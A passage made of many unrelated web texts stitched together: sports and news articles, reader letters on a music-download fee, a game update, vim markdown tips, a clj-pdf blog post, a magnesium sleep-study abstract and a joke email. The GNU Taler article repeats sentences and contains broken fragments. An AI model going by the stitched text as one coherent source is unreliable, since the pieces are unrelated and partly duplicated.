changed. Scent-preferences Scent-preferences are often a highly personal matter, to do with specific memories and associations. In one survey, for example, responses to the question ‘What are your favourite smells?’ included many odours generally regarded as unpleasant (such as gasoline and body perspiration), while some scents usually perceived as pleasant (such as flowers) were violently disliked by certain respondents. These preferences were explained by good and bad experiences associated with particular scents. Despite these individual peculiarities, we can make some significant generalisations about smell-preference. For example, experiments have shown that we tend to ‘like what we know’: people give higher pleasantness ratings to smells which they are able to identify correctly. There are also some fragrances which appear to be universally perceived as ‘pleasant’ – such as vanilla, an increasingly popular ingredient in perfumes which has long been a standard ‘pleasant odour’ in psychological experiments (see Vanilla). A note for perfume-marketers: one of the studies showing our tendency to prefer scents that we can identify correctly also showed that the use of an appropriate colour can help us to make the correct identification, thus increasing our liking for the fragrance. The scent of cherries, for example, was accurately identified more often when presented along with the colour red – and subjects’ ability to identify the scent significantly enhanced their rating of its pleasantness. -Philadelphia Phillies second baseman Scott Kingery makes a diving grab on a ground ball in the sixth inning March 3 against the Minnesota Twins during spring training at Spectrum Field. (Photo: Butch Dill-USA TODAY Sports) CLEARWATER, Fla. – Every spring there tends to be a player who emerges in camp, delivering a performance that enthralls the team and fans. For the Phillies this year, second baseman Scott Kingery, has been that guy. He has made stellar defensive plays, hit for power and shown speed on the bases. Although he's yet to play above Double-A Reading, he has been treated like any other young player in the Phillies' clubhouse. First baseman Tommy Joseph is trying to create a fun handshake for the two to use, centered on Kingery's nickname "Scotty Jetpax." "Nothing that's camera worthy yet," Joseph joked. "Still in the trial stages." Kingery picked up the nickname at the University of Arizona. He stole home in a game after which a teammate proclaimed he was so fast it appeared he was wearing jetpacks. The nickname stuck. He even uses it for his Twitter handle (@ScottyJetpax25). That's where Joseph first learned of it and he's taken to calling Kingery "Jetpax" ever since. Kingery, 22, is exactly the kind of player any Phillies fan should want to embrace. STORY: Budding instructor Roy Halladay returns to Phillies camp Between the unique nickname and his style of play, it's fun to imagine how he'd fit in the Phillies' infield. The reality, though, is that even with his strong performance – 6 for 16 (.375), two home runs, three RBIs, five runs scored and a stolen base in seven games – Kingery is still likely a year away from having a real shot at making the team. In the meantime, Kingery's performance has the potential to create unreasonable expectations, both in his readiness for Major League Baseball and how good he can be if he makes it to the big leagues. That's one of the pitfalls of exhibition games, where players aren't always going up against major-league caliber opponents. "That's the hardest part when you have success in spring training like this, you almost start to believe that you're able to do this every day so you have to find a way to stay humble through it," Joseph said. "He's going to get sent down at some point, right? So everybody's going to wonder, 'Why isn't he going to make the team?' Come on, he's got to get more experience. But I think it can do nothing but help his confidence." When manager Pete Mackanin has trotted out prospect-laden lineups this spring, he makes sure to sit back and enjoy watching what the young guys can do. It often presents one of Mackanin's, and fans', only opportunities to watch the prospects at this stage in their careers. Mackanin has liked what Kingery's shown through the first 10 Grapefruit League games and believes he's capable of being a good MLB player. However, he cautioned reading too much into a player's numbers. "The only issue I have is when a young guy starts doing extremely well in the spring then all of you media people start asking me if he's going to make the team," Mackanin said, laughing. "The old saying is: Don't judge a guy on his spring training performance or September call-up performance. ... Everybody's looking for that future star player." This isn't meant to diminish anyone's excitement at seeing prospects like Kingery or Nick Williams play well this spring. Embrace it. Enjoy it. Envision them being part of the Phillies' next World Series championship team. Just don't let two weeks of good play create unrealistic expectations. Keep it in perspective. Contact Meghan Montemurro at mmontemurro@delawareonline.com. Follow her on Twitter at @M_Montemurro. -If every Internet subscriber pays $5 monthly; then all music downloads should be free and legal. The Music Association of Canada cannot suck and blow at the same time. David Boyle, Toronto Already they over charge huge amount to buy their CDs, if only they could be practical in pricing their product, they would not be in this situation. Steve Moore, Toronto If that comes to pass, how and what would corporate and business subscribers pay ? Now I wonder if Toronto Star would also ask for a $5 fee since I came across this on the online edition ? Mukesh Vashi, Brampton Ridiculous. I have never downloaded music, never will, I'm lucky to have finally accomplished a level of computer savy to do basic tasks. I still have a collection of tapes for heaven's sake...I don't want to be bothered replacing them all with CD,s. So why should people like me, and there are plenty of us, pay for a service we will never use? Jan Pinney, Elora I object to paying for a service I would never use. If I want music I use a CD or listen to the radio. Why should I pay for some strangers' habit of pirating music from the internet Aileen Carter, Toronto Since we already pay a levy on blank media such as CDs and DVDs, and there is also a proposal to add a similar levy to hard drives and MP3 players, I don't see why we should have to pay yet another fee to supposedly compensate for downloaded music. Downloading music is already legal in Canada because of these levies, so why should we be slapped with another fee for doing something that is actually legal? Iris Gray, Victoria The idea is ridiculous. Should all mortgage payers be surcharged to help those who live beyond their means and default on their payments? Should all credit card users have to pay extra to bail out those who abuse credit? Should all car drivers have to pay an extra tax to subsidise those who evade payment? The truth of the matter is that the music business has brought its ills upon itself by its head-in-the-sand attitude. Clive Warner, Monterrey, Mexico What happens to this money that is collected? How can the possibly know how much a musician or song writer should receive? Randy Drefs, Medicine Hat Nothing wrong with paying $5 a month provided you WANT it. But I just dont get the thought process behind this ludicrous proposition of making everyone pay even if you never download music. Are we heading towards a communist/socialist internet usage, having to pay up for someone elses losses. I, for one, will not fork it. Vikas Thusoo, Richmond Hill $5 a month for music is the most ridiculous thing I've ever heard of, even if you are a music downloader. The only music I've actually ever downloaded was Radiohead's newest album, In Rainbows. Radiohead chose to release the music independently and actaully let you set your own price for the online download - a truly novel idea that the music industry should take note of. I have no doubts they've still made plenty of money. Shawn Vickar, Calgary How arrogant can these people be? First there was a tax on blank CDs, with the working assumption that anyone who burns a CD is ripping off an artist. How do these funds get disubursed? Why should Anne Murray get paid everytime I back up a database on a CD? Dave Kingston, Toronto Most people have said that this fee is unreasonable, rightly so indeed. However I see some disturbing trends in those responses - first of all it's difficult to believe that almost any broadband internet user has never downloaded any music, but even if that's true how can you justify your "throw the downloaders under the bus" attitude - this is nothing more than attack on our freedoms and right to privacy by aggressive corporate lobbies in this insane post-9/11 world. Fight for your rights or lose them forever!! Ron Dyck, Edmonton Considering the lousy music that record companies have been foisting on us for the past decade or two, I would suggest they work on actually cultivating talent and investing in developing artists rather than promoting interchangeable one hit wonders. People don't want to buy music that's disposable; they want something they'll still like in five years. Until there's better music available these companies don't deserve a penny from anyone. Ilana McVeigh, Toronto As a senior who only uses internet for e-mails and Pogo games I resent having to pay $5 for music. I have never downloaded any music nor will I ever. Should this charge appear on my bill I will cancel the internet outright. Claude Leduc, Ottawa Having been connected to the internet for more than 13 years and have yet to download 1 song I would be horrified to learn I would be contributing to celine dions hundreds of millions of dollar bank account. Make money the old fashion way and earn it. Andy Vanklompenburg, Nanaimo I do not down load or by music CD's. I should not have to subsidise the music industry. The Music industry does not subsidise my income tax. Joe O'Byrne, Amherst, New Brunswick Of course! Music stores are practically extinct due to WWW. When was the last time you saw line ups in the HMV store?! Downloading from the web is equivalent to buying from a regular store - thus, pay up! Yana Doubrovine, Toronto This is just the tip of the iceberg. Now that the core internet has become a household necessity, every Tom Dick and Musician wants a surcharge put on for their particular organization. If people are illegally downloading, then criminally charge and convict them.. Don't download the costs on to the normal user of the internet, like myself, who does not download.. Chris McRae, Ottawa This is an absolutely moronic idea. People who have no interest in downloading music will be paying for nothing and also subsidizing the cost for those who do wish to download. Tom Tadman, Scarborough I am retired and on fixed income. I use the internet to keep in contact with friends but have never downloaded any music and have no intention of doing so. Fees for such would cause me to reevaluate my need for the internet at all. I simply cannot afford any more expenses eating away at my monthly pension. Judy Court, Toronto I stopped purchasing music long ago, not because I'm downloading it but because it is priced beyond what I perceive its value to be. I DO NOT download music, and cannot see any valid reason why I should be forced to pay a fee to do so. Tony Heayn, Brampton The internet can be used to pirate music, true. Cars can be used in bank robberies. Shall we apply a surcharge to car sales too? If this $5 fee comes into effect I will never pay for music again. Scott Wiebe, Toronto So people who don't download music will still be paying an extra $5/mo? That sounds like a terrible idea. The fees should be the responsibility of those who download the music - not a tax on everyone. Jeni Ator, Toronto What a great idea! Maybe we can save the auto industry with a $5 per month Internet Access Fee. And Toronto's budget problems - solved with an additional $5 fee! And climate change? Let's add another $5 on. Now isn't that easier than actually confronting the real issues at hand? Paul Tenk, Toronto I have always bought CDs: not once have I downloaded or shared music on the internet. If I am arbitrarily charged $5 a month on my internet, what incentive would I have to buy CD copies of music I have "already paid for"? Gabriela Byron, Toronto I use the internet but have never downloaded a piece of music -so why should I pay. It's appropriate for music downloaders - for them it's still a savings over purchasing CD's. Bea Klug, Toronto Why should my mom, who has never downloaded anything in her life except email pay $5 a month to the recording industry? Craig Hall, Toronto The idea is not bad but music comes from around the world. What if I only listen to music from an Australian band? Paying $5 to the Songwriters Association of CANADA won't make any sense! Gavin Mill, Markham Now now, everyone calm down. Im sure Rogers will collect the fees fairly and make sure everything is alright, just like it does everything else. Dan Carter, Hamilton I don't want to pay it either, but then, isn't this the same thing as having to pay school taxes when you don't have kids? Robert Guimont, Toronto Instead of imposing a new tax, stop and think about why piracy exists... These entities charge absurd prices then wonder why people don't want to pay. If they lowered their prices, people would buy legally. The same goes for software and games. Bianca Devins, Toronto -With the release of the Defense Build Update, players have been creating labyrinths and going up against some very well designed ones. Since the release on April 29 through to the end of the day on May 2, there were 600 raids. The boss won 50.2% of the time and lost 49.8% if the time. Pretty much 50/50! Additionally, there have been no reported crashes, and only 1 reported hang due to cards getting stuck in a state we didn't anticipate. If you have seen problems, please report them. Duelist Development Over the past week our team has been busy preparing what will be in the next update release. We are considering doing a small update soon to patch some card bugs. But the next major update with progression will probably be a month or so away. Our Engineering Team worked on card logic; iOS Performance; tuned cards. Our Design Team worked on Wind up hit animations; Pyroclasm revamp. Our Art Team worked on Card 11 finished; Card Back 12 design. Our Audio Team worked on UI Sound design. Bola Shot Labyrinth Gameplay Statistics Since the release on April 29 through to the end of of the day on May 2, there were 600 raids. The boss won 50.2% of the time and the boss lost 49.8% if the time. -Qualcomm’s executive pay practices came under the spotlight this spring. Financial columnists from The San Diego Union-Tribune and New York Times weighed in on Qualcomm’s equity awards to executives and employees — saying these grants block the benefit to shareholders of billions in stock buybacks. Activist investor Jana Partners called for changes in Qualcomm’s performance targets for executives. Instead of revenue and adjusted operating income, which can create “the incentive to grow at any cost,” Jana wants shareholder-friendly metrics, such as earnings per share or return on invested capital. These targets “provide an important check on stock-based compensation,” the activist said in a letter to Qualcomm this spring. The wireless chip maker’s executive compensation plan is complex. It became more elaborate last year as the company took steps to keep its management team together after Microsoft reportedly tried to hire Chief Executive Steve Mollenkopf. The moves included providing millions in front-loaded restricted stock grants to Mollenkopf, Executive Chairman Paul Jacobs and other top officials. One key issue for Qualcomm’s critics is shareholder dilution. Over the past five fiscal years, the company has spent $13.6 billion repurchasing 239 million of its own shares. These buybacks should have reduced the number of shares in the market, boosting shareholder value. But despite the buybacks, Qualcomm’s total share count at the end of fiscal 2014 was flat compared with five years before. “The company has spent a lot of money on repurchases, yet the share count has not declined,” said Steven Re of Quality Growth Management, a Rancho Santa Fe investment firm that owns Qualcomm shares. “It’s like a cloud over the company that it has so richly rewarded a management that has done so poorly for shareholders.” Qualcomm says its stock compensation program is designed to retain not only executives but also lower level employees. On average, Qualcomm’s top five officers received 6 percent of compensation shares awarded over the past five years. The remainder went to employees outside of the executive suite. A glut of stock options from their heyday in the early 2000s was the main reason why buybacks failed to cut share count. Qualcomm no longer relies on options to pay executives. It has shifted to restricted stock, which is less dilutive. This current fiscal year, the company increased buybacks. It pledged to repurchase $10 billion in shares by March 2016 — a move that is expected to shrink share count. The bulk of Jacobs’ pay last year came from stock options. He exercised 1.8 million shares at strike prices ranging from roughly $37 to $45 per share. He immediately sold the shares for about $73 to $79 each, pocketing the difference. About one-third of Jacobs’ options were 10 years old and set to expire. Others were granted several years ago. He last received stock options in 2009. Last year wasn’t typical for Qualcomm. After reports that Microsoft had approached Mollenkopf, Jacobs stepped down as CEO. “A key element of retaining Mr. Mollenkopf was Dr. Jacobs agreeing to relinquish the CEO title and adopt a different role,” the company said in its proxy. -Toronto city council has overwhelmingly voted no to a massive new downtown casino, shutting the door on a year-long debate that featured a parade of ambitious plans and a citizen-led campaign against them. In an unexpected move, council also rejected plans to expand the gambling floor at Woodbine Racetrack, a narrow result that left the site's operator concerned for its future. However, council went on to vote in favour of pursuing discussions with the provincial and federal governments to expand the amount of convention space in the city, news that will be welcomed by those who say Toronto is lagging behind other North American destinations. Nick Eaves, chief executive of Woodbine Entertainment Group, which operates the north Etobicoke site, watched the vote along with about 200 of his workers, who bussed in to city hall. Story continues below advertisement In addition to the support from workers, Woodbine had a petition with 10,000 signatures, he said. "For all of that to be unnoticed and to be turned down today is a real shock," he said. Councillor Mike Layton, who led the charge to have the special meeting even after Mayor Rob Ford declared the casino plan effectively dead last week, put forward the motion to oppose the downtown site. It passed 40 to 4. Mr. Layton also asked council to oppose expansion in the area that includes Woodbine, which passed in a 24-20 vote. Earlier in the meeting Mr. Ford attempted to get support for a compromise that would see expanded gambling at Woodbine. That motion failed 13 to 31. Mr. Eaves said the prospect of a new casino now going to neighbouring Vaughan or Markham would "severely compromise" Woodbine's ability to compete. He said he hopes to work out a deal with the province to keep Woodbine operating. Oxford Properties Group, which in 2011 acquired the land under the Metro Toronto Convention Centre's north building, has been advocating for a casino on Front Street to help fund the convention centre's expansion. Michael Kitt, Oxford's executive vice-president, said in an interview that the company supports the city's decision. He said Oxford was encouraged by the discussion that arose at Tuesday's meeting. Council unanimously voted in favour of pursuing discussions with Queen's Park and Ottawa to invest in additional convention space. "We think that's an important topic to continue the momentum over the coming months," he said. Tuesday's highly anticipated casino vote, held at a special meeting called by a majority of councillors over Mr. Ford's objections, was overshadowed by recent allegations the mayor was caught on video smoking crack cocaine. Story continues below advertisement Story continues below advertisement During the council debate, Mr. Ford – who for months was one of the casino's most vocal supporters because of the jobs and revenue he said it would bring – spoke out against a downtown casino and laid the blame at Premier Kathleen Wynne's feet. "No deal is good enough for this Premier," Mr. Ford told a packed council chamber. "She doesn't want a casino in Toronto. No one knows which direction she's going on the gaming file." The City of Toronto had originally counted on collecting $100-million annually for hosting a casino, but that came crashing down after The Globe and Mail reported that would mean a special deal for Toronto. Ms. Wynne told the Ontario Lottery and Gaming Corp. to give all municipalities the same deal, and the new funding formula would see Toronto get a little more than $53-million a year for the downtown site. Las Vegas-based MGM Resorts was among those to express interest in Toronto and, according to city lobbyist records, was the most aggressive of the potential casino operators. Alan Feldman, MGM vice-president of public affairs, in a written statement thanked council for carefully considering the opportunity. "As we have always said, we only want to operate in a city where we can partner with the local community," he wrote. "For this reason, we are excited to continue the process and remain committed to sharing our vision with a willing host in the greater Toronto area." Story continues below advertisement Mr. Feldman did not respond to an e-mail asking why the casino pitch didn't work in Toronto. Jan Jones, of Caesars Entertainment, which had also expressed interest, wrote in a statement that she was "disappointed" by the vote, but respected council's decision. Peggy Calvert, one of the founding members of citizens' group No Casino Toronto, said she was "delighted" by the result. "We couldn't be more ecstatic. … We could only hope way back when that this would be the outcome," she said. -Richard Stallman’s GNU (gnunet.org) and French computing institute Inria have released the initial code for an “electronic payment system,” which is “unlike BitCoin or cash.” GNU’s ‘Not for the Black Market’ Taler The project, dubbed The project, dubbed Taler (for Taxable Anonymous Libre Electronic Reserve), is designed “for the mainstream economy, and not the black market,” its website explains. Taler, according to the current available literature, is aimed at providing as much a solution to mainstream organizations’ use of parallel payment systems as for customers. While sounding similar to cryptocurrency, the ethos behind the project suggests an attempt to distance itself from Bitcoin. The website states: Unlike BitCoin or cash payments, Taler ensures that governments can learn their citizen’s total income and thus collect sales, value-added or income taxes.” Nonetheless, the system ensures anonymity for users, who will ultimately use coins as a stand-in for national currencies and be free from exposure to any volatility inherent in a new cryptocurrency. “When you pay with Taler, your identity does not have to be revealed to the merchant. The bank, government and exchange will also never learn how you spent your electronic money,” it is written. “However, you can prove that you paid in court if necessary.” As such, in terms of stability, Taler is reported to “[use] an electronic exchange holding financial reserves in existing currencies.” Experimental As is standard for a GNU-related project, the Taler is free and the code readily accessible. Stallman, who coined the term “free software” in the 1980s, has nonetheless been quiet on the progress or ultimate potential of Taler in the mainstream economy. As is standard for a GNU-related project, the Taler is free and the code readily accessible. Stallman, who coined the term “free software” in the 1980s, has nonetheless been quiet on the progress or ultimate potential of Taler in the mainstream economy. Currently, the project is very much in its infancy, with disclaimers noting pitfalls, which have yet to be addressed. No “real” currencies are currently available for experimentation, with an initial release slated for some time this year. “There is no auditor, and hence components do not properly support auditors either. As a result, a dishonest exchange could embezzle funds,” an “There is no auditor, and hence components do not properly support auditors either. As a result, a dishonest exchange could embezzle funds,” an email from systems maintainer and software architect Christian Grothoff states. “This is a first alpha release of the four key components providing logic for running a bank, exchange, merchant and wallet.” The development team meanwhile hails from various outlets including Inria, which is in turn placed under the supervision of French government industries of research and development. In terms of deployment, as The Register In terms of deployment, as The Register points out , criticism of Taler may well come from Bitcoin circles, with critics in turn pointing to weaknesses in the Bitcoin ecosystem to validate the need for a Taler-like platform for the mainstream. What do you think about the potential of the Taler project? Let us know in the comments sections below. -Why did they do this? Diplomats from many countries have been asking this for days about Canada's sudden move to cut off diplomatic ties with Iran. Whether it was a good move or bad, there can be no doubt that in the execution Ottawa bobbled the ball. If Prime Minister Stephen Harper and Foreign Affairs Minister John Baird wanted to deliver a clear message to the world about Iran, they didn't. Instead, they confused the world. For many countries, Ottawa's basic message, "Iran is bad" was crossed with another signal: "Canada is weird." Story continues below advertisement The Harper government was clearly fed up with Iran on many fronts and chose to dispense with stagnant diplomatic ties that it decided were just getting in the way of tougher criticism. But it made Canadian foreign policy look erratic by muddling the message. For most foreign governments, the message is interpreted through their diplomats, and diplomatic language. To diplomats, breaking off relations – suspending them, technically – is a serious step, a notch below declaring war. Countries maintain diplomatic ties through cold wars and even hot skirmishes. For days, foreign diplomats have been seeking explanations from fellow diplomats, Canadian officials, even journalists. To them, it's shocking. That doesn't mean Canada should only do things that won't shock foreign diplomats. But if Ottawa wants to send a message, it has to explain, not confuse. This time, the explanation has been vague and shifting. For starters, there was the suddenness. On Friday, Mr. Baird went before a microphone in Vladivostok to announce the closing of Canada's embassy in Iran and the expulsion of Iranian diplomats from Canada. Okay, that's because the Canadian government wanted to get all its diplomats safely out of Tehran before it said anything and then Mr. Baird, at a summit in Russia, rushed to the microphone just after 1 a.m. local time. But the scene led to a sense of urgency. The obvious question was, why now? Mr. Baird didn't offer a convincing answer. His first explanation was a long list of complaints about Iran's behaviour on human rights, its nuclear program and support for Syria – all legitimate but none new – and also that, given Iran's poor record for protecting diplomats, "it's simply no longer safe" to have Canadian representatives in Iran. The lack of a strong explanation fuelled speculation. Some suggested Israel had tipped Ottawa off to an imminent military strike, so Mr. Baird has since made a point of repeatedly denying that. The CBC speculated Iranian diplomats here might have been organizing sleeper cells. The real safety reasons, it turned out, were more pedestrian but poorly explained – a sense that Canadians in Tehran were exposed. There's no U.S. embassy there and the British left last November, when their gated embassy was stormed by protesters. Ottawa worried Canadians could be next in line as the enemy foreigners. If Israel launches strikes, Canadian diplomats believed they would be taken hostage. Ottawa, after all, has become Israel's staunchest defender. Story continues below advertisement Story continues below advertisement The Harper government also had a September deadline to list Iran as a "state sponsor of terrorism" under a new law, and worried about retaliation. It will probably also soon impose sanctions on Iran's powerful Revolutionary Guards. There was one other thing Ottawa didn't adequately explain: its diplomatic relations had become less than zero because Iranian officials wouldn't meet Canadians. But that's still not the whole reason for the Harper government's actions. It didn't have to expel all Iranian diplomats to deal with safety concerns in Tehran. On Monday, Immigration Minister Jason Kenney offered a new reason: Iranian diplomats were intimidating Iranian-Canadians. But the key reason, certainly, was that the government wanted to make it part of a statement about Iran as a rogue nation. That's why Ottawa listed Iran as a state sponsor of terrorism on the same day as it made its surprise announcement. It's a statement that confused, because Mr. Baird didn't offer a systematic explanation that cutting off diplomatic ties was not decided suddenly. The Harper government failed to grasp that the world would expect a clearer rationale for a big step. After all, if you're trying to send the world a strong message about Iran, it's best not to leave them puzzled about Canada. -A mother passing by her daughter's bedroom was astonished to see the bed was nicely made and everything was picked up. Then she saw an envelope propped up prominently on the center of the bed. It was addressed, "Mom." With the worst premonition, she opened the envelope and read the letter with trembling hands: Dear Mom: It is with great regret and sorrow that I'm writing you. I had to elope with my new boyfriend because I wanted to avoid a scene with Dad and you. I've been finding real passion with Ahmed and he is so nice-even with all his piercings, tattoos, beard, and his motorcycle clothes. But it's not only the passion Mom, I'm pregnant and Ahmed said that we will be very happy. He already owns a trailer in the woods and has a stack of firewood for the whole winter. He wants to have many more children with me and that's now one of my dreams too. Ahmed taught me that marijuana doesn't really hurt anyone and we'll be growing it for us and trading it with his friends for all the cocaine and ecstasy we want. In the meantime, we'll pray that science will find a cure for AIDS so Ahmed can get better; he sure deserves it!! Don't worry Mom, I'm 15 years old now and I know how to take care of myself. Someday I'm sure we'll be back to visit so you can get to know your grand children. Your daughter, Judith PS: Mom, none of the above is true. I'm over at the neighbor's house. I just wanted to remind you that there are worse things in life than my report card that's in my desk center drawer. I love you! Call when it is safe for me to come home. - An e-mail -While writing a post yesterday I noticed there were some gaps in my vim setup for when I'm authoring a markdown file so here are a few tips for polishing up your markdown experience in vim, specifically for jekyll blogs. Front Matter Starting at the top, literally, with the front matter. It was looking a bit weird out of the box: It's rather inconsequential data compared to the meat of the document, the actual content. I found a helpful blog post with some details that worked for me. The heart of which is to parse between the --- s and consider this content a comment. au BufNewFile , BufRead , BufWrite *.md syntax match Comment /\%^---\_.\{-}---$/ After, it looks a little less odd. Textwidth I prefer a little more space when I'm writing so I change the width before text wraps to something slightly more than my default 80 character width - like 100 characters. In my autocommand group I place something like: au FileType markdown setlocal textwidth = 100 Fenced-in Languages If you have many, or maybe super-specific, languages and syntaxes you commonly use in your markdown you can specify them in your vimrc to be interpreted as such. let g :markdown_fenced_languages = [ 'javascript' , 'ruby' , 'sh' , 'yaml' , 'javascript' , 'html' , 'vim' , 'coffee' , 'json' , 'diff' ] Snippets I use snipmate but I guess the same can be applied with something like UltiSnips? Probably. In any case, snippets are a lifesaver for the occasional piece of code or markup you can either never remember the exact syntax for, or are slightly awkward to type. For me it's more often the former. ~/.vim/snippets/markdown.snippets snippet a [${1:text}](${2:http://}) snippet img ![${1:alt}](${2:http://}) snippet front --- title: ${1:Title} author: Joel layout: post permalink: `strftime("/%Y/%m/%d")`/${2:slug}.html --- The first two are for links and image tags, respectively. I consistently confuse the two so why leave it to guessing? The front snippet is handy in that date for the permalink is automatically populated when the snippet is expanded. Preview Your Markdown A tweet from Ches asking about previewing documents piqued my curiosity so I decided to look into it a little further. His suggestion to try the QuickLook plugin was met with failure, as he mentioned, as there's some weirdness when you try to launch from terminal. From finder it seems to work just fine but that defeats the purpose of being vim-driven, right? The next best thing would be to leverage a native mac app to get a look at what our rendered markdown files look like. The app I prefer is called MacDown and has plenty of good features if you ever feel like dropping into a gui app instead of vim. MacDown comes with a cli command you can use to open documents from the terminal but I've found that it doesn't retain your preferences and switches to the defaults once you use it. Using OS X's open command, however, does retain your preferences. So, about getting vim to play nice with this? Not so hard: map < leader > pre : w < cr > : silent ! ! open - a MacDown % > /dev/ null & < cr > : redraw !< cr > So pre will now open up MacDown with the current document so I can get a good look. Not bad! The changes to MacDown's preferences I've found useful: General > Put editor on the right. I don't care much about the editor, so it gets shoved right. Rendering > Detect Jekyll front-matter. For those of us jekyll users. Helpful Plugins -Periodic limb movements during sleep (PLMS), with or without symptoms of a restless legs syndrome (RLS), may cause sleep disturbances. The pharmacologic treatments of choice are dopaminergic drugs. Their use, however, may be limited due to tolerance development or rebound phenomena. Anecdotal observations have shown that oral magnesium therapy may ameliorate symptoms in patients with moderate RLS. We report on an open clinical and polysomnographic study in 10 patients (mean age 57 +/- 9 years; 6 men, 4 women) suffering from insomnia related to PLMS (n = 4) or mild-to-moderate RLS (n = 6). Magnesium was administered orally at a dose of 12.4 mmol in the evening over a period of 4-6 weeks. Following magnesium treatment, PLMS associated with arousals (PLMS-A) decreased significantly (17 +/- 7 vs 7 +/- 7 events per hour of total sleep time, p < 0.05). PLMS without arousal were also moderately reduced (PLMS per hour of total sleep time 33 +/- 16 vs 21 +/- 23, p = 0.07). Sleep efficiency improved from 75 +/- 12% to 85 +/- 8% (p < 0.01). In the group of patients estimating their sleep and/or symptoms of RLS as improved after therapy (n = 7), the effects of magnesium on PLMS and PLMS-A were even more pronounced. Our study indicates that magnesium treatment may be a useful alternative therapy in patients with mild or moderate RLS-or PLMS-related insomnia. Further investigations regarding the role of magnesium in the pathophysiology of RLS and placebo-controlled studies need to be performed. -PDF generation with Clojure, thanks to Dmitri Sotnikov Jose Ayudarte Blocked Unblock Follow Following Dec 19, 2017 Unlike consumer software, Reporting is something that enterprise software always needs, so a month ago our team did a benchmark analysis to choose the best PDF generator library or third-party tool. As Clojure runs on the JVM and has smooth Java interop we considered tools like JasperReports to create reports with drag-and-drop functionality but we weren’t convinced: the design tool is user-friendly in the sense of having the option to create PDF sections visually, but then we realized that we had complex requirements, making it more difficult to achieve the results using JasperReports without losing ability to have dynamic data structures. So we took our exploration further afield. Eventually, we decided on clj-pdf, a library created by Dmitri Sotnikov, which shares similarities with Hiccup library at the time of generating elements. Now that we have developed and released our PDF report tool to production I will try to summarize the benefits and share some tips on how to use clj-pdf: I think it’s important to highlight that the most useful document element for structuring advance content is the pdf-table. It’s the only way to properly customize space and alignment between elements. Table could be also used but it has bugs and the display is broken on some advanced use-cases. As for creating a header for the PDF, you might want to add a logo and some title aligned horizontally. In our case, as you can see in the code, we have created a pdf-table element that is 100% width and it’s right-aligned, with no borders. We have also positioned the header statically within “x” and “y” axes in the page. Then we have used a watermark element to set and scale the logo just in the right place. This method has the caveat of having to customize header position for each different case. So if you have several documents with different text-lengths in the header, you have to adjust the position by hand for each of one. So a better method to create a header it might be not setting its “x” and “y” axes at all, but just creating a 2-column pdf-table with pdf-cell inside that has paragraphs aligned to the desired place (right or left). Thus you could use any length for the header text but with the limitations that you should use some negative paddings for pdf-cells (needed to align the items horizontally) as well as getting more vertical top-margin in the page. Another interesting thing is to create simple tables with few lines of data: For instance, we have used a pdf-table element with a chunk element inside, separating data lines with “ ” end of line character, creating a background for the whole table. Also, as a way to control jump or vertical gaps between elements, spacer element is good combined with size property that gives us more fined control, as the size specifies the font-size of the space inserted. Finally, another interesting trick is the use of negative padding values to have a better control over vertical gaps. As pointed before, left, right, top and bottom padding properties are available to use within pdf-tables’s pdf-cell elements. By way of illustration, to move a pdf-cell’s content up you would set a property padding-top to -3 value or something like that. Numbers are pixel units but it’s better just to give it a go and experiment a bit. Important issues: We have had huge gaps with very long pdf-table columns. So we have created faux rows to split the content to avoid that. That shouldn’t be a problem and we have to report an issue in the author’s repository. In fact there is a property to control behavior of pdf-table’s content across different pages. Pdf-table column number is strict and immutable. We have to use colspan attribute to merge columns for a given row but we cannot pass less or more columns than expected to the pdf-table’s body and that includes Clojure’s nil values as well (they are counted as a column even if there is no content inside). We remove nil values or we skip structure creation completely in case we find the risk of breaking that rule. Also we create rows with nil columns if required when there is no content. As my colleague Asier mentioned in an earlier post, our goal is to contribute more to Open Source projects and this awesome library can be a good candidate to start doing so. -The Hofstra University student killed during a home-invasion robbery was the victim of friendly fire from a veteran cop, Nassau County police revealed last night. The officer unleashed a barrage of bullets when intruder Dalton Smith pointed a gun at him while using Andrea Rebello as a human shield, police said. “He kept saying, ‘I’m going to kill her,’ then pointed the gun at the police officer,” Det. Lt. John Azzata said. The cop fired eight times, with one bullet accidentally hitting Rebello, 21, in the head, he said. The other seven rounds struck and killed Smith, a career criminal, ex-con and parole absconder, Azzata said. Smith — clad in dark clothes and a ski mask — was wielding a 9mm pistol with one bullet in the chamber and another in the magazine, Azzata said. But he never got off a shot during the deadly encounter early Friday inside the off-campus house in Uniondale where Rebello lived with her twin sister, Jessica, Azzata said. The cop who fired the shots was described only as a 12-plus-year veteran of the Nassau County Police Department who earlier served more than seven years with the NYPD. A source told The Post his decorations include the medal of honor. He was treated for trauma after the incident, said James Carver, head of the Nassau County Patrolmen’s Benevolent Association. Nassau County Police Commissioner Thomas Dale said the cop was “OK,” adding: “I believe he’s out sick.” “We’re going to make sure he receives counseling and appropriate medical attention if he needs it,” Dale said. Dale also said his department would conduct a “complete investigation.” -February 28, 2015, at UFC 184. That was the last time Cat Zingano competed in the UFC. While she pleaded to get right back in there after her 14-second armbar loss to Ronda Rousey, the former title contender instead sat in the sidelines for a year and a half. During that time off, Zingano's weight ballooned up to 175 lbs, and she has slowly dropped the weight in preparation for her return at UFC 200. Zingano took to Instagram to post a series of photos showing a timeline from January up to the present. Her post came with the following caption: "Fighters be like.... I was 175 in January & 145 today. Reality vs expectation. There is a much bigger fight than what you see go on in that cage. And If I can do it, anyone of y'all can. #teamalphacat #ufc200 #bulkingJ/K #strongAF #regretnothing #alphacatzingano #sorrynotsorry #notashamed #thatbasstho #cake" Zingano, 33, will face Julianna Pena as part of the UFC 200 preliminary card. She has a 2013 TKO victory over the current UFC champion, Miesha Tate. -Best Operas Ever is a new podcast from Saturday Afternoon at the Opera on CBC Radio 2. In each instalment, host Ben Heppner talks to one of the major opera figures of our time about a particular opera recording that they especially love. You'll find each episode here on cbcmusic.ca, and you can tune in to CBC Radio 2 at 1 p.m. any Saturday from now until the end of November to hear these classic recordings in their entirety — along with extended conversations with our esteemed guests. Best Operas Ever No. 5 - Barbara Hannigan Ben Heppner talks to the contemporary music maverick about a 20th-century opera she adores. Audio Contemporary music has an estimable champion in Barbara Hannigan. There aren't a lot of musicians in the world who have cemented international singing careers, defined themselves with new repertoire, and still felt like that wasn't quite enough. And yet, Hannigan has taken to the conductor's podium with as much relish as the operatic stage. And the opera recording she chose as her favourite ever is as ambitious, smart and iconoclastic as Hannigan herself. Olivier Messiaen's Saint François d'Assise is nearly five hours long in its entirety, requires as many as 300 musicians, and has virtually no story. It's a work of intense religious devotion, expressed through bursts of musical colour and texture, with nary a Verdian melody in sight. But for Hannigan, seeing it performed at the Salzburg Festival as a young singer was a life-altering experience. The singers in that production wore modern 